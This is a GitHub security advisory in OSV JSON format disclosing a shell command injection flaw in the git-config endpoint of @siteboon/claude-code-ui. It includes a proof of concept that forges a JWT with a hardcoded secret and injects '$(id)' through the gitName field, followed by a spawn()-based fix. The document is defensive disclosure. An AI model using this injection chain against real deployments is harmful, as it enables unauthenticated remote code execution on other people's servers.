CVE-2026-31861: @siteboon/claude code ui @siteboon/claude-code-ui Is Vulnerable To Shell Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7fv4-fmmc-86g2",
  "modified" : "2026-03-11T20:45:18Z",
  "published" : "2026-03-10T23:57:23Z",
  "aliases" : [ "CVE-2026-31861" ],
  "summary" : "@siteboon/claude-code-ui is Vulnerable to Shell Command Injection in Git Routes",
  "details" : "# Shell Command Injection in User Git Config Endpoint\n\n| Field | Value |\n|-------|-------|\n| **Severity** | High |\n| **CVSS 3.1** | 8.8 (High) — when chained with VULN-01 |\n| **CWE** | CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') |\n| **Attack Vector** | Network |\n| **Authentication** | JWT required (bypassable via VULN-01) |\n| **Affected Files** | `server/routes/user.js` (lines 58-59) |\n\n## Description\n\nThe `/api/user/git-config` endpoint constructs shell commands by interpolating user-supplied `gitName` and `gitEmail` values into command strings passed to `child_process.exec()`. The input is placed within double quotes and only `\"` is escaped, but backticks (`` ` ``), `$()` command substitution, and `\\` sequences are all interpreted within double-quoted strings in bash.\n\nThis allows authenticated attackers to execute arbitrary OS commands via the git configuration endpoint.\n\n## Root Cause\n\n`server/routes/user.js` lines 58-59:\n\n```javascript\nawait execAsync(`git config --global user.name \"${gitName.replace(/\"/g, '\\\\\"')}\"`);\nawait execAsync(`git config --global user.email \"${gitEmail.replace(/\"/g, '\\\\\"')}\"`);\n```\n\nOnly `\"` is escaped. However, within double-quoted bash strings, the following are still interpreted:\n\n- `` `malicious_command` `` — backtick execution\n- `$(malicious_command)` — subshell execution\n\n## Impact\n\n- **Remote Code Execution (RCE)** — arbitrary OS commands execute as the Node.js process user\n- The `git config --global` vector modifies the **server-wide** git configuration, affecting all git operations\n- When chained with VULN-01 (hardcoded JWT), this is fully **unauthenticated RCE**\n- Attacker can: read/write any file, install backdoors, pivot to other systems, exfiltrate data\n\n## Proof of Concept\n\n```bash\n# Step 1: Forge a JWT (see VULN-01)\nTOKEN=$(python3 -c \"import jwt; print(jwt.encode({'userId':1,'username':'admin'}, 'claude-ui-dev-secret-change-in-production', algorithm='HS256'))\")\n\n# Step 2: Inject via gitName using command substitution\ncurl -X POST \"http://REDACTED:5173/api/user/git-config\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"gitName\":\"$(id)\",\"gitEmail\":\"attacker@example.com\"}'\n```\n\nThe server executes:\n\n```\ngit config --global user.name \"$(id)\"\n```\n\nBash evaluates `$(id)` before passing it to git, executing the `id` command and setting the username to the output.\n\n## Remediation\n\nReplace `exec()` with `spawn()` (array arguments, no shell):\n\n```javascript\n// BEFORE (vulnerable):\nawait execAsync(`git config --global user.name \"${gitName.replace(/\"/g, '\\\\\"')}\"`);\n\n// AFTER (safe):\nawait spawnAsync('git', ['config', '--global', 'user.name', gitName]);\nawait spawnAsync('git', ['config', '--global', 'user.email', gitEmail]);\n```",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@siteboon/claude-code-ui"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.24.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.23.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/siteboon/claudecodeui/security/advisories/GHSA-7fv4-fmmc-86g2"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-31861"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/siteboon/claudecodeui/commit/86c33c1c0cb34176725a38f46960213714fc3e04"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/siteboon/claudecodeui"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/siteboon/claudecodeui/releases/tag/v1.24.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-94" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-10T23:57:23Z",
    "nvd_published_at" : "2026-03-11T18:16:24Z"
  }
}